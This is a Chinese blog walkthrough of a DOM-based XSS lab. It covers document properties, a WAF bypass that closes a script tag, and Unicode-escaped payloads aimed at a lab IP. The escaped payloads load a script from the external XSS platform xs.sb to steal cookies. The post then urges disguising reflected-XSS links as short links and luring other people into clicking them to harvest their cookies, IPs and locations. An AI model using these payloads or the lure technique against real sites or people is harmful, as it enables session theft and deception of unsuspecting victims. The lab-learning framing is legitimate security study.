
可以通过document来获取有些信息。

而我们XSS插入的话,一般是动态页面,但是有些是静态页面,不会和数据库发生交互,这就大大提高了安全性,我们就很难XSS了,而考虑到这一点,很多开发也把动态页面假装弄成静态页面,
这种页面称为:伪静态页面
那我们怎么区分动态和伪静态页面呢?
很简单我们可以利用一个js代码来判断是否为动态页面。
我们在控制台输入document.lastModified
如果时间一直是新的,那么就是动态或者伪静态,如果时间一直不变,那么就是静态,没什么好插的了。

再介绍一个函数,回显上一个地址的urldocument.referrer

回显标题document.title

其他的可以自己去试试

尝试1


尝试2

没有使用unescape函数

在真实的环境中,一般document会URL解码(unescape)一次。
a.com/135.html?id=<script>alert(1)</script>
document.write(unescape(document.URL));

unescape函数对url解码,让js代码成功执行弹窗。

因为JS触发的XSS就是DOM型XSS,而一般而言dom型的XSS都是反射性,很少有存储型。
document.write() 输出内容。
输出name前面字符的长度为20

通过一段js代码进行跳转,并不会与后端进行交互。
例子

这里说的锚点是快速跳转到某个位置。

了解了这么多后,我们来实战一下
我们可以打开控制台看一下,源码,发现有document,也就是js代码,我们试着传参写入,发现第二个位置成功输出。

然后我们直接XSS代码插入,发现被waf拦截。

那我们想一下waf的特性,只会过滤一些特殊的东西。比如XSS代码
那我先写正常的,在写我们的XSS代码。
可以看到我们写的js代码生效了,但是不是我们真正想要的结果。
我们看下源码。http://59.63.200.79:8014/dom_xss/index.php/1.txt?id=<script>alert(1111111)</script>

发现我们是在JS代码里面,那我们把前面那个script闭合就可以了

输入index.php/1.txt?id=</script><script>alert(1)</script>进行绕过和闭合,然后在插入XSS代码。
http://59.63.200.79:8014/dom_xss/index.php/1.txt?id=</script><script>alert(1)</script>
上面一种是针对waf绕过再来XSS插入的一种方法。
接下来我们不针对waf,来针对document来XSS代码插入。
document支持native编码,那我们可以把我们的XSS代码进行转码,转成native再来XSS代码插入。

输入http://59.63.200.79:8014/dom_xss/?\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0031\u0031\u0031\u0031\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e直接绕过

既然已经成功执行了,那我们现在来执行我们想要的信息
先创建一个XSS平台任务。xs.sb

把这个代码复制下来。

然后转码成native编码

输入http://59.63.200.79:8014/dom_xss/?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0038\u0035\u0073\u006a\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
或者(这里的1.txt是为了绕过waf,但是1.txt不存在,就去读index.php的内容)http://59.63.200.79:8014/dom_xss/index.php/1.txt?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0075\u0053\u0049\u0047\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
然后查看XSS平台里的任务窃取到的cookie
注意:一个ip访问这个链接后,xss平台只能获取一次,就算这个ip刷新这个链接,xss也不会再获取到cookie了,不知道这个是xss平台的原因还是啥的,所以还想获取cookie的话,那就只有换ip了

判断XSS代码是否执行,除了看XSS平台接受到信息没,还可以看控制台的网络,是否访问了XSS平台

遇到反射性的XSS,可以以下办法。
通过把我们的链接转成短链接,然后诱导别人点击,从而达到目的
这里我发现一个比较好玩的东西,就是通过这个靶场,然后做成短链接,让别人访问的话,除可以获取到靶场的cookie之外,还可以获取到访问人的地址和ip!!!!!!!!!!!!!
短链接http://tool.chinaz.com/tools/dwz.aspx?qq-pf-to=pcqq.group



2075

被折叠的 条评论
为什么被折叠?



